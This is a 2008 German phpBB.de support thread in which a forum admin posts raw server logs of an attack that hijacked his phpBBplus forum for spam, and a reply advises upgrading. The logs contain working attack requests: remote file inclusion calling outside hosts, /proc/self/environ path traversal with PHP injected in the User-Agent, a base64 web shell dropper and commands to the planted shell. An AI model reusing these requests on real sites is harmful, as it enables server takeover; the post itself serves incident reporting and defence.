phpBB.de

Verfasst: **06.12.2008 10:40**

Hallo phpBB-Gemeinde,

mein Forum wurde in den letzten 14 Tagen von Hackern benutzt, um in großem Stil Spam-Mails zu verschicken. Daraufhin wurde die Domaun von meinem Provider gesperrt mit dem Hinweis, phpBB in der von mir eingesetzten Version sei ein zu großes Sicherheitsrisiko.

Ich benutzte phpBBplus 1.53a, basierend auf phpBB 2.0.22. Nach meiner Kenntnis wäre der gleiche Angriff auch mit 2.0.23 möglich gewesen.

Ich habe aus dem log die relevanten Einträge extrahiert. Eine Google-Suche nach der als Filesource verwendeten Domain lesovik.de ergab, dass dertrige Angriffe zur Zeit in Massen versucht werden.

82.108.152.231 - - [23/Nov/2008:23:05:04 +0100] "GET /viewtopic.php?t=3//language/lang_english/lang_main_album.php?phpbb_root_path=http://www.lesovik.de/files/i?? HTTP/1.1" 500 529 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox"

82.108.152.231 - - [23/Nov/2008:23:05:04 +0100] "GET /viewtopic.php?t=3//language/lang_english/lang_main_album.php?phpbb_root_path=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 200 877 "-" "XXX<? echo \"w0000t\"; ?>XXX"

82.108.152.231 - - [23/Nov/2008:23:05:04 +0100] "GET /viewtopic.php?t=3//language/lang_english/lang_main_album.php?phpbb_root_path=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 877 "-" "XXX<? echo \"w0000t\"; ?>XXX"

82.108.152.231 - - [23/Nov/2008:23:05:04 +0100] "GET /viewtopic.php?t=3/errors.php?error=http://www.lesovik.de/files/i?? HTTP/1.1" 200 36026 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox"

82.108.152.231 - - [23/Nov/2008:23:05:05 +0100] "GET /errors.php?error=http://www.lesovik.de/files/i?? HTTP/1.1" 404 216 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox"

82.108.152.231 - - [23/Nov/2008:23:05:05 +0100] "GET //language/lang_english/lang_main_album.php?phpbb_root_path=http://www.lesovik.de/files/i?? HTTP/1.1" 500 529 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox"

82.108.152.231 - - [23/Nov/2008:23:05:05 +0100] "GET //language/lang_english/lang_main_album.php?phpbb_root_path=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 200 1831 "-" "XXX<? echo \"w0000t\"; ?>XXX"

82.108.152.231 - - [23/Nov/2008:23:05:05 +0100] "GET //language/lang_english/lang_main_album.php?phpbb_root_path=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 1002 "-" "XXX<? echo \"w0000t\"; ?>XXX"

81.169.155.246 - - [23/Nov/2008:23:05:08 +0100] "GET //language/lang_english/lang_main_album.php?phpbb_root_path=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 200 1831 "-" "<? fwrite(fopen(\"shell.php\",w),'<? eval(base64_decode(\"CmVjaG8gIj ... (gekürzt) ... 7Cg==\")); ?>'); ?>"

81.169.155.246 - - [23/Nov/2008:23:05:13 +0100] "GET /language/lang_english/shell.php HTTP/1.1" 200 1162 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4"

38.99.13.122 - - [23/Nov/2008:23:07:33 +0100] "GET /calendar_scheduler.php?d=1169161200&fid=0 HTTP/1.0" 200 7095 "-" "Mozilla/5.0 (Twiceler-0.9 http://www.cuil.com/twiceler/robot.html)"

62.173.34.38 - - [23/Nov/2008:23:08:17 +0100] "GET /language/lang_english/shell.php?cr4nk=http://vhyan.com/cmd?? HTTP/1.0" 200 1241 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"

62.173.34.38 - - [23/Nov/2008:23:08:20 +0100] "GET /favicon.ico HTTP/1.0" 200 894 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"

62.173.34.38 - - [23/Nov/2008:23:08:27 +0100] "GET /language/lang_english/shell.php HTTP/1.0" 200 1150 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"

38.99.13.122 - - [23/Nov/2008:23:10:00 +0100] "GET /album.php?cat_id=-1&user_id=45 HTTP/1.0" 200 5194 "-" "Mozilla/5.0 (Twiceler-0.9 http://www.cuil.com/twiceler/robot.html)"

41.219.208.22 - - [23/Nov/2008:23:10:11 +0100] "GET /language/lang_english/shell.php?cr4nk=http://vhyan.com/cmd?? HTTP/1.1" 200 1253 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)"

41.219.208.22 - - [23/Nov/2008:23:10:21 +0100] "GET /favicon.ico HTTP/1.1" 200 894 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)"

41.219.208.22 - - [23/Nov/2008:23:10:59 +0100] "GET /language/lang_english/shell.php?cr4nk=http://vhyan.com/cmd??? HTTP/1.1" 200 1256 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)"

62.173.34.38 - - [23/Nov/2008:23:11:13 +0100] "POST /language/lang_english/shell.php HTTP/1.0" 200 1163 "http://www.osa-forum.de/language/lang_english/shell.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"

62.173.34.38 - - [23/Nov/2008:23:11:43 +0100] "GET /language/lang_english/eva.php HTTP/1.0" 200 6053 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"

72.30.161.247 - - [23/Nov/2008:23:12:18 +0100] "GET /robots.txt HTTP/1.0" 200 94 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)"
72.30.161.247 - - [23/Nov/2008:23:12:19 +0100] "GET /wiki/Spezial:Hochladen HTTP/1.0" 200 0 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)"

62.173.34.38 - - [23/Nov/2008:23:12:32 +0100] "GET /language/lang_english/eva.php?act=img&img=home HTTP/1.0" 200 209 "http://www.osa-forum.de/language/lang_english/eva.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
62.173.34.38 - - [23/Nov/2008:23:12:32 +0100] "GET /language/lang_english/eva.php?act=img&img=forward HTTP/1.0" 200 119 "http://www.osa-forum.de/language/lang_english/eva.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
62.173.34.38 - - [23/Nov/2008:23:12:32 +0100] "GET /language/lang_english/eva.php?act=img&img=up HTTP/1.0" 200 199 "http://www.osa-forum.de/language/lang_english/eva.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
62.173.34.38 - - [23/Nov/2008:23:12:32 +0100] "GET /language/lang_english/eva.php?act=img&img=search HTTP/1.0" 200 250 "http://www.osa-forum.de/language/lang_english/eva.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
62.173.34.38 - - [23/Nov/2008:23:12:32 +0100] "GET /language/lang_english/eva.php?act=img&img=buffer HTTP/1.0" 200 163 "http://www.osa-forum.de/language/lang_english/eva.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
62.173.34.38 - - [23/Nov/2008:23:12:35 +0100] "GET /language/lang_english/eva.php?act=img&img=back HTTP/1.0" 200 119 "http://www.osa-forum.de/language/lang_english/eva.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
62.173.34.38 - - [23/Nov/2008:23:12:45 +0100] "GET /language/lang_english/eva.php?act=img&img=sort_asc HTTP/1.0" 200 85 "http://www.osa-forum.de/language/lang_english/eva.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
62.173.34.38 - - [23/Nov/2008:23:12:45 +0100] "GET /language/lang_english/eva.php?act=img&img=small_dir HTTP/1.0" 200 164 "http://www.osa-forum.de/language/lang_english/eva.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
62.173.34.38 - - [23/Nov/2008:23:12:45 +0100] "GET /language/lang_english/eva.php?act=img&img=ext_lnk HTTP/1.0" 200 572 "http://www.osa-forum.de/language/lang_english/eva.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
62.173.34.38 - - [23/Nov/2008:23:12:45 +0100] "GET /language/lang_english/eva.php?act=img&img=ext_php HTTP/1.0" 200 71 "http://www.osa-forum.de/language/lang_english/eva.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
62.173.34.38 - - [23/Nov/2008:23:12:46 +0100] "GET /language/lang_english/eva.php?act=img&img=change HTTP/1.0" 200 290 "http://www.osa-forum.de/language/lang_english/eva.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
62.173.34.38 - - [23/Nov/2008:23:12:55 +0100] "GET /language/lang_english/eva.php?act=img&img=ext_htm HTTP/1.0" 200 71 "http://www.osa-forum.de/language/lang_english/eva.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
62.173.34.38 - - [23/Nov/2008:23:12:55 +0100] "GET /language/lang_english/eva.php?act=img&img=ext_txt HTTP/1.0" 200 132 "http://www.osa-forum.de/language/lang_english/eva.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
62.173.34.38 - - [23/Nov/2008:23:12:55 +0100] "GET /language/lang_english/eva.php?act=img&img=ext_diz HTTP/1.0" 200 1027 "http://www.osa-forum.de/language/lang_english/eva.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
62.173.34.38 - - [23/Nov/2008:23:12:55 +0100] "GET /language/lang_english/eva.php?act=img&img=arrow_ltr HTTP/1.0" 200 88 "http://www.osa-forum.de/language/lang_english/eva.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"
62.173.34.38 - - [23/Nov/2008:23:12:56 +0100] "GET /language/lang_english/eva.php?act=img&img=download HTTP/1.0" 200 161 "http://www.osa-forum.de/language/lang_english/eva.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"

Wie kann ich derartige Angriffe zukünftig verhindern?

Ist jemandem der Initiator dieser Angriffe bekannt? Ist da strafrechtlich was zu erreichen?

Viele Grüße von einem völlig entnervten Forum-Admin
Charley

Verfasst: **06.12.2008 12:19**

Hallo!

1. ist hier kein Support für phpBB+ zu bekommen.
2. wurde der Fehler Mitte 2007 (!) behoben und ein Fix bereitgestellt.
3. hast du im falschen Forum gepostet

Aber um dir wenigstens etwas zu helfen: in der Jobbörse sind fähige Supporter bereit, dein Forum entweder auf die aktuelle "reine" phpBB 2.0.23 zu konveriteren oder gleich auf phpBB 3.0.3, welches keine bekannten Lücken aufweist.

Viele Grüße,
Bálint

phpBB.de

Spam-Mailer-Angriff

Spam-Mailer-Angriff